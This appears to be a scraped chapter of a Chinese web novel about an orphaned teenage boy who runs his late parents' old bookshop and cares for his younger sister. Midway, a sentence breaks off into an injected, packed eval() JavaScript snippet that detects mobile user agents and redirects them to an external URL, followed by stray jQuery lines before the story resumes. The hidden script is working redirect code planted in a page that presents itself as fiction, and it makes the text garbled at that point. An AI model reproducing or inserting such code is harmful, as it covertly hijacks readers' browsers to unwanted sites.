晨光从老式木窗的缝隙间挤进店铺，灰尘在光束中缓缓翻滚。
柜台后的少年将脸埋在交叠的手臂间，火红色的发丝散落在木质台面上，有几缕被晨曦染成了橙红。
江淮年没有睁眼。
十七岁的少年维持着趴伏的姿势，从鼻腔里呼出一声近乎无声的叹息。
这是一家售卖旧书、文房四宝兼装裱字画的老铺子，在城南这条日渐萧条的街巷里，已经苟延残喘了二十年。
江淮年记得很清楚，父母去世前一个月，母亲还坐在柜台后的那把藤椅上，用一把小刀细细裁着宣纸的边缘。父亲则蹲在门口，用刷子给一块新做的牌匾上清漆，阳光落在他花白的鬓角上，那些白发亮得刺眼。
然后他们就死了。
一场毫无征兆的车祸，连遗言都没能留下。
处理完后事，江淮年从学校办公室的椅子上站起来，对班主任说：
“老师，我不念了。”
班主任是个四十多岁的女人，眼镜后的眼睛里满是不赞同：“淮年，你成绩很好，再有一年就高考了，现在放弃太可惜。你妹妹还小，你们兄妹俩以后……”
“老师，”江淮年打断她，声音平静，“江妤才十五岁。我得养她。”
于是他就真的不念了。
收拾了课本，搬回了父母留下的这间铺子。白天开店，晚上去夜市摆摊卖些手工装的笔记本和廉价毛笔，周末接些抄写、装裱的零活。银行账户里那点赔偿金和积蓄，他一分都不敢多动，要交店铺的租金，要付水电，要给江妤交学费、买校服、买辅导书，要吃饭，要看病。
江妤身体不算好，虽然没到那种需要被送到乡下静养的程度，但换季时总要感冒发烧，每次去医院都是一笔开销。江淮年慢慢知道了在药店关门前的特价时段去买药，学会了在菜市场收摊时去捡那些品相不好但还能吃的菜，懂了用最便宜的面粉做出面条。
有时候深夜关了店，他坐在空荡荡的柜台后，会盯着墙上那张全家福发呆。
照片是五年前拍的，父母坐在中间，笑得温和。左边站着个陌生男人。江淮年不知道他叫什么，据说那个男人体弱多病，在他有记忆前就被送到乡下亲戚家了，于是江淮年对他几乎没有任何印象，只记得父母提起时总会叹气。
右边是江淮年自己，那时候才十二岁，咧着嘴笑出一口白牙，手臂搭在身旁小女孩的肩膀上。
江妤。
照片里的江妤才十岁，扎着两个羊角辫，穿着碎花裙子，手里抱着一只破旧的兔子玩偶，对着镜头怯生生地笑。那是她唯一一张笑得这么腼腆的照片。
后来的江妤，在父母去世后，好像一夜之间把所有的怯懦都烧光了，长成了一株带刺但也格外坚韧的玫瑰。
江淮年又叹了口气，终于从臂弯里抬起头。
左眼是深海般的蓝，右眼是火焰般的红。这双异瞳从他出生起就跟着他，小时候没少被其他孩子指指点点，说他是什么“妖怪的孩子”。江淮年为此打过很多架，打不过也要打，打输了就躲在巷子里哭，哭完了擦干脸回家，对父母说是不小心摔的。
后来父母不在了，他就再没哭过。
至少没让别人看见。
他站起身，活动了一下僵硬的肩膀。身上那件洗得发白的灰色卫衣袖口已经磨出了毛边，牛仔裤的膝盖处也有轻微的磨损。
但这些都不重要，重要的是今天周六，江妤不上学，但要去上绘画班。他得在九点前给她做好早饭，然后骑车送她过去。
推开柜台后方那扇吱呀作响的小门，就是他们生活的地方。
一条狭窄的过道，左边是仅能容一人转身的厨房，右边是卫生间，尽头是两间相邻的卧室。江淮年的房间稍大些，但堆满了没卖出去的旧书和装裱工具，床只剩下一半能睡人。江妤的房间小，但收拾得整齐，墙上贴着她自己画的画，大多是海洋，蓝色的波浪，白色的泡沫，各种奇形怪状的鱼。
江淮年记得江妤从小就喜欢海。
虽然他们生活的这座城市离最近的海岸线也有三百公里，但江妤就是对那种从未亲眼见过的蓝色抱有执念。
她收集一切与海有关的东西：贝壳、海螺、珊瑚形状的饰品，甚至饮料瓶上印着海浪图案的标签纸。
父母还在时，有一次许诺等江妤十二岁生日就带她去海边，后来这个许诺和许许多多其他的许诺一起，成了再也无法兑现的空话。
厨房的水龙头有些漏水，江淮年拧了拧阀门，滴水声暂时停了。他从冰箱里拿出两个鸡蛋，一小把青菜，还有昨晚剩下的半碗米饭。锅里的油热了，磕入鸡蛋，刺啦一声响，蛋清迅速凝固成白色边缘。他动作熟练地翻炒，加入米饭和青菜，最后撒上一点盐和酱油。
这时候，对面房间的门开了。
江妤揉着眼睛走出来，淡蓝色的头发乱糟糟地翘着。她穿着印有小兔子的睡衣，赤脚踩在冰凉的地砖上，看到江淮年时脸上立刻露出了不耐烦的表情。
“哥，我说了多少次，做饭的时候开抽油烟机。”
她的声音带着刚睡醒的沙哑，明明才十五岁，但语气已经是一副小大人的腔调。
江淮年头也不回：“抽油烟机坏了，修一次要两百，没钱。”
“那你就不能做点没油烟的东西吗？”
“比如？”
“比如……面包牛奶。”
“面包一袋十块，牛奶一盒五块五，蛋炒饭成本三块。”江淮年把炒饭盛到两个碗里，转身放到小餐桌上，“江大小姐，选哪个？”
江妤撇撇嘴，但还是走过来坐下。她拿起勺子，扒拉了一下碗里的饭，忽然说：“我们班李薇薇她爸上周带她去吃了牛排。”
江淮年动作顿了一下，随即也在她对面坐：“哦。”
“她说牛排很好吃，”江妤用勺子戳着碗里的米饭，“然后问我吃过没。”
江淮年没说话。他低头吃了一口饭，炒得有点咸了。
“我说我吃过。”江妤继续说，声音很平静，“我说我哥做的牛排比外面的好吃多了。”
江淮年抬起头。
江妤也在看他，两人对视几秒后，她低下头，大口大口地吃饭，好像刚才那段对话从未发生过。
江淮年觉得喉咙有点堵。他放下勺子，伸手揉了揉江妤乱糟糟的头发：“下个月你生日，哥带你去吃牛排。”
“不要。”江妤躲开他的手，但耳尖有点红，“浪费钱。你做的蛋炒饭就很好吃。”
“真的？”
“勉强能吃。”
江淮年笑起来。
他一笑，眼尾那颗泪痣就跟着微微上扬，那双多情的桃花眼弯成月牙的形状。江妤瞥了他一眼，迅速低下头，但嘴角也忍不住翘了翘。
吃完早饭，江淮年收拾碗筷，江妤回屋换衣服。等她再出来时，已经换上了洗得发白的校服外套，里面是一件浅蓝色的毛衣，袖口别着一枚贝壳形状的胸针，还是去年她生日时，江淮年在夜市地摊上花二十五块钱买的，胸针的镀层已经有些剥落，露出底下暗沉的金属色，但江妤每天都戴着。
“走吧。”江淮年拿起钥匙，推开了店铺的后门。
门外是一条狭窄的巷子，停着一辆半旧的自行车。江淮年跨上车，江妤熟练地跳到后座，双手抓住他卫衣的下摆。自行车晃晃悠悠地驶出巷子，汇入清晨的街道。
三月的风还带着凉意，吹在脸上像细小的刀子。江淮年蹬着车，能感觉到身后江妤把脸贴在了他背上。她的呼吸透过薄薄的卫衣布料，温热地落在他的脊骨上。
“哥。”江妤忽然开口，声音闷闷的。
“嗯？”
“你后悔吗？”
“后悔什么？”
“不上学了。”
自行车拐过一个弯，车铃叮当响了一声。江淮年看着前方渐渐多起来的行人和车辆，很久才说：
“不后悔。”
“可是你成绩那么好……”
“成绩好又不能当饭吃。”江淮年打断她，语气轻松，“再说了，我现在不也挺好？自由职业，自己当老板，不用早起上班，多爽。”
江妤不说话了。
但江淮年能感觉到，她抓着他衣服的手收紧了一些。
他知道江妤在想什么。十五岁的小女孩过早地懂得了生活的重量，她看得懂哥哥眼下的乌青，数得清他一件衣服穿了多少天，记得住他有多久没买过新鞋。
她发脾气，闹别扭，说尖酸刻薄的话，但也会在深夜偷偷爬起来，给趴在柜台睡着的哥哥盖一条毯子。
自行车在一栋老旧的居民楼前停下。这里一楼被改造成了绘画班，窗户上贴着稚拙的水彩画。江淮年单脚撑地，等江妤跳下车。
“下午四点我来接你。”他说。
“不用，我自己能回去。”
“不行，这条路上次有流浪狗追人。”
“那是三个月前的事了！”
“那也不行。”江淮年从口袋里掏出三十块钱塞给她，“中午在旁边的面馆吃，别吃路边摊，不干净。剩下的钱买瓶水，别省。”
江妤接过钱，攥在手心里。她抬头看着江淮年，晨光落进她蓝色的眼睛里，像海面上碎开的阳光。然后她忽然踮起脚，飞快地碰了碰江淮年的脸颊。
“我进去了。”她说完，转身就跑进了楼道，淡蓝色的马尾在脑后一甩一甩的。
江淮年愣在那里，脸颊上那个轻柔的触感还残留着温度。他抬手摸了摸被亲到的地方，忽然觉得耳朵有点烫。
这小丫头。
他摇摇头，重新蹬上车，往店铺的方向骑去。
周六的上午，街上的行人渐渐多起来。
经过菜市场时，江淮年停下车，在几个熟悉的摊位前买了些便宜的蔬菜和一小块猪肉。卖菜的大妈认识他，一边称重一边念叨：“小江啊，又给你妹妹做饭？真不容易，这么小就要当家……”
江淮年只是笑笑，付了钱，把菜装进车筐。
回到铺子时，已经快十点了。他打开店门，把“营业中”的木牌挂出去，然后开始打扫卫生。先用鸡毛掸子掸去书架上的灰尘，再用湿抹布擦拭柜台和玻璃橱窗。旧书特有的霉味混合着灰尘的气息，在阳光下缓缓升腾。
这间铺子是他爷爷那辈传下来的，最早是卖古籍和文房四宝的，后来生意越来越差，父亲就兼做起装裱字画的活计。
江淮年小时候常在柜台后面写作业，听着父亲和客人讨论哪朝哪代的碑帖，哪种宣纸适合写小楷，哪种墨条磨出来的墨色最正。那些知识零零碎碎地钻进他耳朵里，等他意识到时，竟然也记住了一大半。
父母去世后，他靠着这些零碎的记忆，勉强撑起了这家店。但生意还是不好，如今谁还买毛笔写字？谁还需要装裱字画？偶尔来的客人，大多是些怀旧的老先生，买一刀宣纸，或者淘两本旧书，一坐就是一下午，和江淮年聊些他听不太懂的古董鉴赏。
今天的第一个客人是个六十多岁的老太太，要买一支小楷毛笔。江淮年从柜台底下拿出几个木匣，一支支摆出来给她挑。老太太戴着老花镜，对着光细细看笔尖的毛，絮絮叨叨地说她孙子在学校书法比赛得了奖，要买支好笔奖励他。
“这支狼毫的，三十五。”江淮年指着一支笔杆刻着竹节的笔，“毛挺齐，弹性也好。”
老太太讨价还价了半天，最后三十块钱成交。她付了钱，又看了江淮年一眼，叹口气：“小伙子，你一个人看店啊？父母呢？”
“去世了。”江淮年平静地说。
老太太愣了一下，眼神里流露出同情，但没再说什么，拿着笔走了。
江淮年把三十块钱放进抽屉，继续整理一批新收来的旧书。这些书是从一个要搬家的老师那里收来的，大多是关于古代文学和历史的，品相一般，但内容不错。他一本本地擦拭封面，检查有没有缺页，然后根据内容和品相贴上价格标签。
中午时分，他泡了一碗方便面，就着早上剩下的半碟咸菜吃了。面吃到一半，手机响了，是江妤发来的短信：
“面吃完了，水买了，没吃路边摊。老师在教画静物，我画了个苹果，她说形不准:(”
江淮年看着那个哭脸表情，嘴角扬了扬。他单手打字回复：“形不准就多练，晚上回来给我看看。”
放下手机，他继续吃面。汤已经有点凉了，油脂凝成白色的浮沫，但江淮年还是喝完了最后一口汤。不能浪费。
下午的客人更少，只有两个中学生来买了些素描纸和铅笔。江淮年趁着空闲，把一批需要装裱的字画拿出来处理。这是一位老先生送来的几幅自己的书法作品，要求用素色绫绢装裱。江淮年量好尺寸，裁切托纸，刷上浆糊，动作虽不如父亲娴熟，但也算有模有样。
阳光透过窗户，在地板上缓慢移动。江淮年蹲在地上，用棕刷轻轻刷平托纸上的褶皱，忽然想起父亲教他装裱时的情景。
那时他才十岁，手还小，握不住大号的棕刷。父亲就站在他身后，握着他的手，一笔一划地教他如何用力均匀，如何避免产生气泡。母亲在一旁裁
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119444|195948||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
切绫绢，偶尔抬头看他们一眼，眼里带着笑意。
“裱画，”父亲的声音低沉温和，“要平，要稳，要耐得住性子。急不得，一急就坏了。”
江淮年当时不懂，只觉得裱画很无聊，那些浆糊黏糊糊的，沾在手上很难洗。
现在他懂了。生活也是这样，要平，要稳，要耐得住。急不得，一急就坏了。
他把托好的画幅放到通风处阴干，洗净手，看了眼墙上的钟。三点半，该去接江妤了。
锁了店门，骑上车，穿过渐渐热闹起来的街道。
下午的阳光比早晨暖和些，风吹在脸上也不再那么刺骨。江淮年骑得不快，脑子里盘算着晚上的菜，那小块猪肉可以切成丝，和青椒一起炒，再煮个白菜豆腐汤。米饭还有剩，热一热就能吃。
绘画班楼下已经等了不少家长。江淮年把车停在路边，靠在墙上等。四点整，孩子们陆陆续续出来，江妤是最后一个。她背着画板，手里攥着一卷画纸，淡蓝色的头发在人群里很显眼。
“哥。”她走过来，把画纸递给他。
江淮年展开一看，是一幅铅笔素描，画的是几个苹果和一只陶罐。线条还很稚嫩，明暗关系也处理得生硬，但能看出是认真画的。
“挺好的。”他说，把画仔细卷好，“比上次有进步。”
“老师也说有进步。”江妤坐上后座，声音里有一丝藏不住的雀跃，“她说我观察得挺细，就是手不稳。”
“多练练就稳了。”江淮年蹬动车子，“晚上想吃什么？”
“随便。”
“没有随便这道菜。”
“那就……青椒肉丝？”
“巧了，我正打算做这个。”
江妤笑了，笑声很轻，但江淮年听见了。他也跟着笑起来，午后的阳光落在他们身上，把影子拉得很长。
回家的路上经过一家小超市，江淮年停下车，让江妤在门口等着，自己进去买了一小盒牛奶。出来时，江妤正蹲在路边看一只流浪猫。那是只橘白相间的小猫，瘦骨嶙峋的，但毛很干净，正警惕地看着江妤。
“想养吗？”江淮年走过去。
江妤摇摇头：“养不起。”
江淮年心里一酸，但没表现出来。他把牛奶盒子打开，倒了一点在瓶盖里，放在离猫不远的地方。小猫犹豫了一会儿，慢慢凑过来，小口小口地舔。
“走吧。”江淮年站起身。
江妤又看了小猫一眼，才跟着他离开。
晚饭确实做了青椒肉丝和白菜豆腐汤。江淮年刀工不错，肉丝切得均匀，青椒也切得整齐。热锅下油，爆香蒜末，下肉丝翻炒至变色，再加入青椒，最后淋上一点酱油和糖。香味很快就弥漫了整个狭小的厨房。
江妤在写作业，但鼻子一直抽动，最后忍不住跑到厨房门口：“好香。”
“马上就好。”江淮年头也不回，“去摆碗筷。”
吃饭时，两人对坐在小餐桌两边。江淮年给江妤夹了一筷子肉丝，江妤闷头吃着，忽然说：“哥，我们班下周要开家长会。”
江淮年动作一顿：“什么时候？”
“周三下午。”
周三……江淮年心里快速盘算。周三下午通常有几个老客人会来，但也不是不能关店。他点点头：“行，我去。”
“你要穿得像样点。”江妤抬眼看他，“别穿那件袖口都磨破的卫衣。”
“知道了，江大小姐。”江淮年故意拖长声音，“保证不给你丢人。”
江妤哼了一声，但没再说什么。
饭后，江淮年洗碗，江妤继续写作业。水声哗哗，笔尖在纸面上沙沙作响，昏黄的灯光把两个人的影子投在墙上，安静地重叠。洗好碗，江淮年擦了手，走到江妤身后看了一眼，数学作业，应用题已经写了一大半。
“这道题错了。”他指着其中一题。
“哪里错了？”
“这里，计算顺序不对。”江淮年拉过一把椅子坐下，拿过铅笔在草稿纸上演算。
江妤凑过来看，淡蓝色的发丝扫过江淮年的手背。她看得很认真，眉头微微皱着，嘴唇不自觉地抿起。
江淮年看着她侧脸，忽然想起她更小的时候。那时候父母还在，江妤才五六岁，每天像个小尾巴似的跟着他。他写作业，她就趴在桌子另一边画画，画得满手都是蜡笔印。有时候画累了，就趴在那儿睡着了，小脸压在胳膊上，嘴巴微微张着，流一小滩口水在作业本上。
有一次江淮年恶作剧，用笔在她脸上画了两撇胡子。江妤醒来后照镜子，哇的一声就哭了，哭得惊天动地，直到母亲答应给她买冰淇淋才罢休。后来冰淇淋买了，江淮年也被父亲训了一顿，罚他一个星期不许看电视。
那时候的日子，好像永远都是晴天。
“哥？”江妤的声音把他拉回现实，“你怎么了？”
江淮年回过神，摇摇头：“没什么。看懂了吗？”
“看懂了。”江妤拿回作业本，低头修改。灯光落在她长长的睫毛上，在脸颊上投下一小片阴影。
晚上九点，江妤写完作业，洗漱睡觉。江淮年检查了一遍店铺的门窗，关了灯，回到自己房间。他没有立刻睡，而是坐在床边，从枕头底下摸出一个铁皮盒子。
打开盒子，里面是一些零碎的东西：父母的黑白照片，一张已经褪色的全家福，几枚生锈的硬币，还有一条银色的项链，那是母亲留给江妤的，等江妤十八岁时，他要给她。
江淮年看着照片里的父母，看了很久，然后轻轻合上盖子，把盒子放回枕头下。
躺下时，他能听到隔壁房间传来江妤均匀的呼吸声。很轻，很稳，像夜风拂过树叶。他闭上眼，明天又是新的一天。
要开店，要进货，要记账，要接送江妤上下学，要做饭，要打扫，要活着。
要平，要稳，要耐得住。
他对自己说，然后沉入了睡眠。
窗外的月亮很圆，很亮，银白色的光从窗帘的缝隙漏进来，在地板上切出一道狭长的光斑。远处传来隐约的犬吠，更远处是城市永不熄灭的灯火。
隔壁房间，江妤也翻了个身，怀里紧紧抱着那只破旧的兔子玩偶。玩偶的一只耳朵已经开线，露出里面发黄的棉絮。那是母亲在她六岁时买的，陪了她七年，陪她度过了父母离世后无数个哭泣的夜晚。
月光洒在她安静的睡颜上，那枚贝壳胸针放在床头柜上，在月光下泛着微弱的、温柔的光。
夜还很长。
但命运的车轮，已然开始转动。